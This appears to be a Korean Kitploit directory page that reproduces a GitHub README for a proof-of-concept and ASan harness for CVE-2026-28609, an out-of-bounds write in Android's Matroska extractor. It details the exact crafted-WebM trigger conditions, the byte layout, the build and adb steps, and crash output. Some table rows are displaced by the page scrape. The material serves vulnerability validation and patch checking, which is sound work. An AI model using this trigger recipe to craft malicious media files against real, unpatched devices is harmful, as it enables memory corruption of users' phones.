Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-28609-matroska-pcm-oob — CVE-2026-28609에 대한 개념 증명 및 계측 재현 하네스로, 빅엔디언 PCM 오디오 트랙이 포함된 조작된 WebM 파일을 통해 도달 가능한 Android의 MatroskaExtractor에서 발생하는 범위를 벗어난 쓰기 취약점입니다. | Kitploit
도구/GitHubGitHub/devrodt2/cve-2026-28609-matroska-pcm-oob
Android SecurityMemory ForensicsVulnerability AnalysisExploitationReverse EngineeringFuzzingMobile SecurityBinary Exploitation

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
devrodt2/cve-2026-28609-matroska-pcm-oob

CVE-2026-28609-matroska-pcm-oob

CVE-2026-28609에 대한 개념 증명 및 계측 재현 하네스로, 빅엔디언 PCM 오디오 트랙이 포함된 조작된 WebM 파일을 통해 도달 가능한 Android의 MatroskaExtractor에서 발생하는 범위를 벗어난 쓰기 취약점입니다.

저장소 보기
4시간 41분 전아직 검토되지 않음

CVE-2026-28609 — Matroska PCM 범위 초과 쓰기

CVE-2026-28609에 대한 개념 증명(Proof-of-concept), 계측된 재현 하네스, 그리고 기술 문서입니다. 이 취약점은 빅엔디언 PCM 오디오 트랙을 포함한 조작된 WebM 파일을 통해 도달 가능한 Android의 MatroskaExtractor에서 발생하는 범위 초과 쓰기입니다.

한눈에 보기

  • CVE ID: CVE-2026-28609
  • 벤더: Google / Android
  • 구성 요소: frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cpp
  • 문제: 부적절한 캐스팅으로 인한 범위 초과 쓰기
  • CWE: CWE-787 / CWE-704
  • 영향 받는 버전: Android 14, 15, 16, 16 QPR2
  • 심각도: 높음
  • 영향: 잠재적 원격 코드 실행
  • AOSP 이슈: A-485377744
  • 패치: 2026년 9월 Android 보안 업데이트에서 해결됨

1. 요약

Android의 MatroskaExtractor 내 MatroskaSource::read()에는 PCM 빅엔디언 바이트 스왑 루프가 있으며, 이 루프는 바이트 오프셋인 frame->range_offset()을 더하기 전에 프레임 데이터 포인터를 uint16_t *로 캐스팅합니다. uint16_t *에 대한 C 포인터 연산은 오프셋을 sizeof(uint16_t) = 2배로 스케일링하므로, 결과 포인터는 버퍼 시작점으로부터 range_offset 바이트가 아닌 2 * range_offset 바이트 뒤를 가리킵니다.

range_offset > 0일 때, 루프는 프레임의 MediaBuffer 끝을 넘어 1바이트 이상을 읽고 씁니다. ASan이 없는 기기에서는 초과 읽기가 조용히 성공하고, 초과 쓰기는 버퍼 바로 다음 바이트를 손상시킵니다.

취약한 라인:

root@kitploit:~
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
    dstData[i] = ntohs(srcData[i]);
}

업스트림 수정은 오프셋을 적용하기 전에 포인터를 uint8_t *로 캐스팅합니다:

root@kitploit:~
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
    data[i] = ntohs(data[i]);
}

2. 이 저장소가 보여주는 것

실제 Android 14 기기에서 AddressSanitizer 하에 검증된, CVE-2026-28609에 대한 작동하고 재현 가능한 트리거입니다. 저장소에는 다음이 포함됩니다:

  1. 추출기를 0이 아닌 range_offset을 가진 취약한 분기로 유도하는 WebM 파일을 생성하는 Python 생성기.
  2. dlopen을 통해 추출기 플러그인을 로드하고, GETEXTRACTORDEF를 호출하며, 파일에서 프레임을 읽는 C-ABI 하네스.
  3. 취약한 AOSP 추출기의 ASan 계측 복사본을 컴파일하고 기기의 미디어 프레임워크 라이브러리에 링크하는 빌드 스크립트 세트.
  4. include 디렉터리를 자동으로 검색하는 빌드 구성으로, 어떤 AOSP 체크아웃에도 빌드가 적응합니다.

취약한 기기에서의 결과:

root@kitploit:~
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
    #0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region

3. 트리거 메커니즘

취약한 분기는 다음 조건이 모두 참이어야 합니다:

조건출처
트랙이 PCMmType == PCM

처음 세 가지는 코덱 ID A_PCM/INT/BIG와 비트 깊이 16으로 트랙을 선언하면 충족됩니다. 네 번째가 흥미로운 부분입니다.

range_offset은 MatroskaSource::setWebmBlockCryptoInfo()에서만 0이 아닌 값으로 설정되며, 이 함수는 다음 조건에서 readBlock()으로부터 호출됩니다:

root@kitploit:~
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
    err = setWebmBlockCryptoInfo(mbuf);
}

따라서 트리거 파일은 다음을 만족해야 합니다:

  • mIsWebm — EBML DocType 요소가 "matroska"가 아닌 "webm"이어야 합니다.
  • mEncrypted — 트랙이 ContentEncodingType = 1(암호화)과 ContentEncKeyID를 가진 ContentEncodings를 선언해야 합니다.
  • 비암호화 프레임 — 각 프레임의 첫 바이트는 하위 비트(0x1)가 0인 신호 바이트여야 하며, 이는 프레임이 암호화되지 않았지만 콘텐츠 인코딩되었음을 나타냅니다. 이는 setWebmBlockCryptoInfo의 else 분기를 타며, set_range(1, len - 1)을 호출합니다.

스트립 후, 모든 프레임에 대해 range_offset = 1이 됩니다. 취약한 분기는 (uint16_t *)data + 1을 계산하여 2바이트를 전진시키고, 루프는 [2, 2 + range_length) 바이트를 읽고 씁니다 — 65바이트 할당(64바이트 프레임 + 1바이트 신호)의 끝을 1바이트 초과합니다.

트리거 프레임의 바이트 레이아웃

root@kitploit:~
+---------+------------------------------------+
| 0x00    | 64 bytes of frame data (0xAA...)   |
+---------+------------------------------------+
  signal               PCM payload

신호 바이트 0x00은 set_range(1, 64)에 의해 스트립되어, 65바이트 할당 내에 64바이트 프레임을 남깁니다. 취약한 포인터 연산은 그런 다음 바이트 오프셋 2부터 65까지 씁니다.


4. 저장소 레이아웃

root@kitploit:~
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│   └── generator.py             WebM generator + verifier
│
├── harness/
│   └── harness_c_abi.cpp        dlopen-based trigger harness
│
└── scripts/
    ├── build.conf               API level, sanitizer, RTTI flags
    ├── include_dirs.conf.sample Include roots template
    ├── build_foundation.sh      Build the foundation archive
    ├── build_plugin.sh          Build the extractor plugin
    ├── build_harness.sh         Build the harness
    └── run.sh                   End-to-end build + push + run

빌드 전에 사용자가 클론하는 업스트림 의존성:

root@kitploit:~
av/                    frameworks/av (AOSP)
libwebm/               external/libwebm (mkvparser)
flac/                  external/flac
aosp-includes/         system/core, system/logging, system/libbase,
                       frameworks/native — header trees only
aosp-includes/libs/    libstagefright_foundation.so, libmedia.so,
                       libutils.so, libbinder.so, libcutils.so,
                       libbase.so, libmediandk.so, libstagefright_flacdec.so
                       — pulled from the target device

5. 사전 요구 사항

  • 호스트: bash, python3, make가 있는 Linux 또는 WSL2
  • NDK: Android NDK r27+, $ANDROID_NDK_HOME으로 설정
  • 기기: 보안 패치 레벨이 2026년 9월 이전인 Android 14, 15, 16 또는 16-QPR2
  • ADB: PATH에 adb (Linux, 또는 WSL의 adb.exe)
  • 디스크: AOSP 클론용 약 1.5 GB

6. 빌드

6.1 업스트림 의존성 클론

root@kitploit:~
mkdir -p deps && cd deps

# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
    https://android.googlesource.com/platform/frameworks/av av

# libwebm (mkvparser)
git clone --depth 1 \
    https://android.googlesource.com/platform/external/libwebm libwebm

# libFLAC
git clone --depth 1 \
    https://android.googlesource.com/platform/external/flac flac

# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
    git clone --depth 1 \
        "https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..

AOSP 트리가 모듈식 추출기 레이아웃(av/media/module/extractors/mkv/)을 사용한다면 추가 조정이 필요하지 않습니다. 이전 레이아웃(av/media/libstagefright/matroska/)을 사용한다면 빌드 스크립트의 MKV 변수를 참조하세요.

6.2 기기 라이브러리 가져오기

root@kitploit:~
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
           libmedia.so libutils.so libbinder.so libcutils.so \
           libbase.so libmediandk.so; do
    adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done

6.3 구성

root@kitploit:~
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf   # if provided separately
$EDITOR scripts/build.conf

ANDROID_API를 대상 기기와 일치하도록 설정하세요(예: Android 14의 경우 34).

6.4 빌드 및 실행

root@kitploit:~
./scripts/run.sh

run.sh 스크립트는 다음 네 단계를 순서대로 실행합니다:

  1. build_foundation.sh — av/media/module/foundation/과 av/media/module/metadatautils/의 28개 소스 파일을 plugin-asan/libstagefright_foundation_asan.a로 컴파일합니다.
  2. build_plugin.sh — MatroskaExtractor.cpp, mkvparser.cc, mkvreader.cc를 컴파일하고 아카이브와 링크하여 libmkvextractor_asan.so를 만듭니다.
  3. build_harness.sh — harness_c_abi를 -shared-libsan으로 컴파일합니다.
  4. 플러그인, 하네스, ASan 런타임, poc.mkv를 /data/local/tmp로 푸시하고 하네스를 실행합니다.

빌드 스크립트는 누락된 include 루트를 자동으로 검색합니다. 컴파일러가 fatal error: 'X' file not found를 보고하면, 스크립트는 의존성 트리를 검색하여 X의 부모 디렉터리를 찾아 include_dirs.conf에 추가합니다. 이것이 첫 빌드 중에 include_dirs.conf가 커지는 이유입니다. 모든 헤더가 검색되면 파일이 안정화되고 이후 빌드는 결정적입니다.


7. 예상 출력

취약한 기기에서 하네스는 다음을 출력합니다:

root@kitploit:~
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor  uuid[0..3]=abbedd92  version=1  api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
    #0 0x71ecb0ec48  (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
    #1 0x71ecb180c8  (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
    #2 0x5861ac1ed0  (/data/local/tmp/harness_c_abi+0x3ed0)
    #3 0x7279cf15b8  (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)

0x003c61ab3961 is located 0 bytes after 65-byte region [0x003c61ab3920,0x003c61ab3961)
allocated by thread T0 here:
    #0 0x727c507668  (/data/local/tmp/libclang_rt.asan-aarch64-android.so+0xe4668) (BuildId: 163b9ff057b95542705e47bbc20f6f2ca91c5f58)
    #1 0x5861ac26c0  (/data/local/tmp/harness_c_abi+0x46c0)
    #2 0x71ecb15e7c  (/data/local/tmp/libmkvextractor_asan.so+0xbee7c)
    #3 0x71ecb0b50c  (/data/local/tmp/libmkvextractor_asan.so+0xb450c)
    #4 0x71ecb0d96c  (/data/local/tmp/libmkvextractor_asan.so+0xb696c)
    #5 0x71ecb180c8  (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
    #6 0x5861ac1ed0  (/data/local/tmp/harness_c_abi+0x3ed0)
    #7 0x7279cf15b8  (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
    #8 0x5861ac15f4  (/data/local/tmp/harness_c_abi+0x35f4)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
Shadow bytes around the buggy address:
  0x003c61ab3680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
  0x003c61ab3700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x003c61ab3780: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
  0x003c61ab3800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
  0x003c61ab3880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x003c61ab3900: fa fa fa fa 00 00 00 00 00 00 00 00[01]fa fa fa
  0x003c61ab3980: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3a00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3a80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3b00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3b80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==14927==ABORTING
Aborted

세 개의 숫자가 트리거를 확인합니다:

  • WRITE of size 2 (또는 ASan이 data[i] = ntohs(data[i])의 읽기 부분을 먼저 잡으면 READ)
  • 65-byte region — 프레임 할당은 64 데이터 바이트에 1바이트 암호화 신호를 더한 것입니다
  • 0 bytes after — 접근이 할당 바로 다음 첫 바이트에 위치합니다

8. 이 PoC가 하지 않는 것

  • RCE 없음. 트리거는 ASan 보고서에서 끝납니다. 쓰기 프리미티브를 보여주지만 코드 실행으로 무기화하지는 않습니다.
  • 힙 그루밍 없음. 1바이트 오버플로는 암호화 신호 크기에 의해 제한됩니다. 더 큰 오버플로는 setWebmBlockCryptoInfo의 분할 암호화 경로(신호 바이트 0x03)를 필요로 하며, 이 생성기에서는 실행되지 않습니다.
  • 지속성 없음. 하네스 프로세스 자체 외에는 대상에서 코드가 실행되지 않으며, 실행되고 종료됩니다.
  • 시스템 수정 없음. /data/local/tmp 외부는 건드리지 않습니다. 플러그인은 하네스 프로세스에 의해서만 로드됩니다.

9. 검증

생성기에는 검증기가 내장되어 있습니다. 푸시하기 전에 실행하세요:

root@kitploit:~
python3 exploit/generator.py poc.mkv

예상 결과:

root@kitploit:~
[verify] OK - webm DocType + Encryption ContentEncoding will
[verify]      cause readBlock to strip the 1-byte signal via
[verify]      set_range(1, len-1), setting range_offset=1
[verify]      on every PCM frame. The uint16_t* cast in the
[verify]      vulnerable branch then writes 2 bytes past the
[verify]      end of the 64-byte frame buffer.

모든 필수 필드가 확인됩니다: DocType, TrackType, CodecID, BitDepth, Channels, ContentEncodingType, ContentEncodingScope, ContentEncAlgo, ContentEncKeyID. 필드가 잘못되면 생성기는 FAIL과 함께 종료하고 특정 불일치를 출력합니다.


10. 타임라인

날짜이벤트
2026-03-02Google이 CVE 예약
2026-09-08Android 보안 게시판에서 공개 공개
2026-09-09LineageOS lineage-20.0에 수정 병합 (변경 497992)
2026-09이 PoC가 개발되어 실제 기기에서 검증됨

11. 참고 자료

  • Android Security Bulletin — September 2026
  • AOSP: frameworks/av
  • AOSP: external/libwebm
  • LineageOS Gerrit change 497992
  • NVD entry for CVE-2026-28609
  • AddressSanitizer

12. 면책 조항

이 저장소는 방어적 보안 연구 및 취약점 검증만을 위해 게시됩니다. 다음을 위한 것입니다:

  • 자체 테스트 기기에서 CVE를 검증하는 보안 연구원
  • 패치가 적용되었는지 확인하는 Android 플랫폼 유지 관리자
  • 노출을 판단하기 위해 격리된 하드웨어에서 트리거를 재현하는 사고 대응 담당자

소유하지 않았거나 명시적인 서면 승인 없이 테스트할 권한이 없는 기기에서는 이 코드를 사용하지 마세요. 소유하지 않은 기기에서 하네스를 실행하거나 생성기를 사용하여 배포용 트리거 파일을 생성하는 것은 귀하의 관할권의 컴퓨터 오용 법률 및 GitHub의 허용 사용 정책을 위반할 수 있습니다.

저자는 이 연구의 악의적 목적 사용을 용인하지 않습니다. 생성기가 생성하는 트리거 파일은 AddressSanitizer 하에서 특정 함수를 충돌시키도록 설계되었으며, 실행 가능한 페이로드를 포함하지 않고, 시스템을 수정하지 않으며, 하네스 프로세스를 넘어 지속되지 않습니다.

보증은 제공되지 않습니다. 코드는 있는 그대로 제공됩니다. 저자는 오용이나 프로덕션 하드웨어에서 하네스 실행으로 인한 손상에 대해 어떠한 책임도 지지 않습니다.

귀하가 벤더이고 이 저장소에 조정된 공개(coordinate disclosure) 하에 처리되어야 할 자료가 포함되어 있다고 판단되면, 이슈를 열어주시면 저자가 72시간 이내에 응답할 것입니다.


13. 라이선스

이 프로젝트는 Apache-2.0 라이선스로 배포됩니다. 전체 텍스트는 LICENSE를 참조하세요.

Copyright © 2026 — the CVE-2026-28609 PoC contributors.

scripts/include_dirs.conf.sample

클론 후 이 파일의 이름을 include_dirs.conf로 변경하세요. 이것은 시드입니다. 빌드 스크립트는 첫 실행 중에 이를 확장합니다.

root@kitploit:~
# include_dirs.conf
#
# Include directories for the CVE-2026-28609 plugin and harness builds.
# One path per line. Blank lines and lines starting with '#' are ignored.
# $ROOT expands to the project root (the directory containing scripts/).
#
# The build scripts extend this file automatically when they discover
# the parent directory of a missing header. Commit the extended version
# if you want reproducible builds.

$ROOT/av/include
$ROOT/av/media/ndk/include
$ROOT/av/media/libstagefright/include
$ROOT/av/media/module/foundation/include
$ROOT/av/media/module/extractors/mkv/include
$ROOT/av/media/module/codecs/flac/dec
$ROOT/libwebm
$ROOT/libwebm/mkvparser
$ROOT/flac/include
$ROOT/aosp-includes/core/libutils/include
$ROOT/aosp-includes/core/libcutils/include
$ROOT/aosp-includes/core/libcutils/include_outside_system
$ROOT/aosp-includes/core/include
$ROOT/aosp-includes/core/libsystem/include
$ROOT/aosp-includes/libbase/include
$ROOT/aosp-includes/native/include
$ROOT/aosp-includes/native/libs/binder/include
$ROOT/aosp-includes/native/libs/ui/include
$ROOT/aosp-includes/logging/liblog/include

scripts/build.conf.sample

클론 후 build.conf로 이름을 변경하세요.

root@kitploit:~
# build.conf — build configuration for CVE-2026-28609 PoC

# Android API level. Must be >= 29. Match your target device.
ANDROID_API=34

# Enable AddressSanitizer.
ENABLE_ASAN=1

# Debug flags.
OPT_FLAGS="-O1 -g -fno-omit-frame-pointer"

# Match AOSP's libutils / libmedia / libstagefright build flags.
# Set to 1 unless you have a specific reason not to.
DISABLE_RTTI=1
DISABLE_EXCEPT
IONS=1
도구 다운로드
빅엔디언AMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1
16비트 샘플AMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16
프레임에 0이 아닌 range_offsetset_range(offset, ...)에 의해 설정됨